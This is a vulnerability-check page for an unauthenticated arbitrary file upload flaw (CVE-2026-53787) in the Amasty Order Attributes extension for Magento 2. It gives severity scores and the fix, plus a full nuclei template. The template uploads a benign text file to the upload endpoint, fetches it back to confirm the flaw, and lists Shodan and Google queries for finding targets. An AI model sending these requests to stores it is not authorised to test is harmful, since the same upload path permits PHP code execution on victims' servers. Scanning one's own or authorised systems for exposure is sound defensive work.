Magento 2 Amasty Order Attributes < 4.0.0 - Unauthenticated Arbitrary File Upload

criticalseverity

9.8CVSS score

5.6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Amasty Order Attributes for Magento 2 < 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting.

Impact

Unauthenticated attackers can upload malicious files, potentially leading to remote code execution, malware hosting, or stored cross-site scripting.

Fix

Update to version 4.0.0 or later.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: status_code == 200 and contains_any(to_lower(body), "magento", "mage-", "checkout", "data-mage-init") || contains_any(to_lower(header), "x-magento", "magento")
Send: POST /rest/V1/amasty_orderattr/uploadFile
Positive when: status_code == 200 and contains(body, filename) and contains(content_type, "application/json")
Send: POST /rest/all/V1/amasty_orderattr/uploadFile
Positive when: status_code == 200 and contains(body, filename) and contains(content_type, "application/json")
Send: POST /rest/default/V1/amasty_orderattr/uploadFile
Positive when: status_code == 200 and contains(body, filename) and contains(content_type, "application/json")
Send: GET {{BaseURL}}/media/amasty_checkout/{{c1}}/{{c2}}/{{filename}}
Positive when: status_code == 200 and contains(body, "CVE-2026-53787-test") and contains(content_type, "text/plain")

Run it with nuclei: nuclei -id CVE-2026-53787 -u <target>

The full check

id: CVE-2026-53787

info:
  name: Magento 2 Amasty Order Attributes < 4.0.0 - Unauthenticated Arbitrary File Upload
  author: 0x_Akoko
  severity: critical
  description: |
    Amasty Order Attributes for Magento 2 < 4.0.0 contains an unrestricted file upload vulnerability caused by lack of authentication and validation in the upload endpoint, letting unauthenticated attackers upload arbitrary files including PHP, enabling remote code execution or malware hosting.
  impact: |
    Unauthenticated attackers can upload malicious files, potentially leading to remote code execution, malware hosting, or stored cross-site scripting.
  remediation: |
    Update to version 4.0.0 or later.
  reference:
    - https://sansec.io/research/amasty-order-attributes-file-upload
    - https://www.vulncheck.com/advisories/amasty-order-attributes-for-magento-2-unauthenticated-arbitrary-file-upload
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53787
  classification:
    cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
    cvss-score: 9.8
    cve-id: CVE-2026-53787
    epss-score: 0.05638
    epss-percentile: 0.9302
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 5
    vendor: amasty
    product: order-attributes
    shodan-query: http.component:"Magento"
    google-query: inurl:"/rest/V1/amasty_orderattr"
  tags: cve,cve2026,magento,amasty,file-upload,rce,unauth,intrusive

variables:
  c1: "{{to_lower(rand_text_alpha(1))}}"
  c2: "{{to_lower(rand_text_alpha(1))}}"
  rest: "{{to_lower(rand_text_alpha(6))}}"
  filename: "{{c1}}{{c2}}{{rest}}.txt"

flow: http(1) && (http(2) || http(3) || http(4)) && http(5)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(to_lower(body), "magento", "mage-", "checkout", "data-mage-init") || contains_any(to_lower(header), "x-magento", "magento")'
        internal: true
        condition: and

  - raw:
      - |
        POST /rest/V1/amasty_orderattr/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileContent":{"base64_encoded_data":"Q1ZFLTIwMjYtNTM3ODctdGVzdA==","fileName_with_extension":"{{filename}}"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

  - raw:
      - |
        POST /rest/all/V1/amasty_orderattr/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileContent":{"base64_encoded_data":"Q1ZFLTIwMjYtNTM3ODctdGVzdA==","fileName_with_extension":"{{filename}}"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

  - raw:
      - |
        POST /rest/default/V1/amasty_orderattr/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"fileContent":{"base64_encoded_data":"Q1ZFLTIwMjYtNTM3ODctdGVzdA==","fileName_with_extension":"{{filename}}"}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/media/amasty_checkout/{{c1}}/{{c2}}/{{filename}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-53787-test")'
          - 'contains(content_type, "text/plain")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from